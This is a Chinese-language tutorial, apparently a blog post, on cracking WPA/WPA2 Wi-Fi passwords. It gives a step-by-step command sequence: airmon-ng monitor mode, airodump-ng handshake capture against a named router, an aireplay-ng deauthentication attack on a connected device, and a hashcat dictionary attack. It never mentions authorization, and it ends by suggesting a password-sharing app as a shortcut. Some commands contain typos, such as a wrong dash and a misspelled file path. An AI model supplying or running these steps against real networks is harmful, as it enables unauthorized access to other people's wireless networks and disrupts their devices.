使用Aircrack&hashcat破解WPA/WPA2

====================

写在前面

这里假定你用的是Manjaro Linux 系统，配置好独立显卡，本文提到的软件可以直接用sudo pacman -S aircrack-ng hashcat hashcat-utils安装,Kali Linux默认集成，其他环境请自行安装。

aircrack-ng:
aircrack-ng是目前最热门的WiFi破解领域的软件。Aircrack-ng 套件包含的工具能够捕捉数据包和握手包，生成通信数据，或进行暴力破解攻击以及字典攻击。
hashcat:
hashcat支持N多种算法，充分利用GPU性能，是目前最快的利用GPU破解Hash的软件。
USB无线网卡:
推荐3070，8187，便宜好用（某宝十几块钱就能买到）,当然笔记本自带的无线网卡也可以。

由于hashcat使用GPU破解，因此需要安装依赖，sudo pacman -S ocl-icd opencl-nvidia,执行
sudo tee /proc/acpi/bbswitch <<< ON以让CUDA程序使用英伟达独立显卡。

hashcat -I

看到你的独显信息就可以愉快的使用hashcat了。

airmon-ng

airmon-ng start wlan0
执行iwconfig出现Mode:Monitor即执行成功，并可以看到网卡被重命名为wlan0mon。
若执行失败，请先尝试airmon-ng check kill，依旧不行，请检查你的网卡驱动是否被支持

airodump-ng wlan0mon

BSSID:无线路由的MAC地址
PWR：无线信号强度（绝对值越小表示信号越强）
CH:信道号
ENC:加密体系，常见WPA，WPA2，WEP
ESSID:扩展路由名称

airodump-ng --bssid DC:FE:18:C4:20:E3 -o pcap -w my -c 1 wlan0mon

--bssid: 指定无线路由的MAC地址,这里是ELJNB的MAC地址
-o:指定输出文件格式， 支持pcap, ivs, csv, gps, kismet, netxml
-w:保存文件名称，会自动加01，02，03作为序号。
-c:指定工作频道，ELJNB工作在频道1
最后是你的网卡接口名称

注意STATION那列里的MAC地址，稍后会用到，并保持airodump-ng一直处于运行状态。

aireplay-ng --deauth 1 –a DC:FE:18:C4:20:E3 -c E6:20:3A:A4:82:10 wlan0mon

1
2
3

--deauth:取消验证洪水攻击，后面是攻击次数，0代表无限次数。
-a:目标路由MAC地址
-c:连到这个路由某的设备MAC地址，可以在STATION那列中随便选一个。

回到airodump-ng窗口,若在右上角发现WPA handshake ，即成功捕获数据。若不成功请多试几次。

顺利捕获数据后就可以用Ctrl+C终止airodump-ng了。会发现它在当前路径生成了一个my-01.cap文件，现在可以进行最后一步,破解数据了。

hashcat需要特殊的hash数据包格式，因此需要先将airodump-ng抓取的数据包转换一下，在线转换或本地使hashcat-utils所提供的工具包

hashcat -m 2500 test.hccapx dict.txt

1
2
3

-m:hash类型 2500 为wpa/wpa2
test.hccapx:数据包文件
dict.txt:为字典文件

破解结束后，查看结果

cat ～/.hashcat/hashcat.porifle

最后即为WiFi密码，关于hashcat高级使用方式，见wooyun

可以看到，整个过程无非两步，第一步抓取WPA handshake数据包，第二步暴力破解数据文件。因此
可以使用更强大的工具wlandump-ng：一次性从附近的网络上抓取所有的 handshake 信息，而实现快速破解WiFi,详情见wifi-cracking和hcxtools

最大的安全隐患永远是人，优先使用WiFi万能钥匙也许会有意外惊喜(配合手机自带的WiFi分享功能，可以直接得到密码)。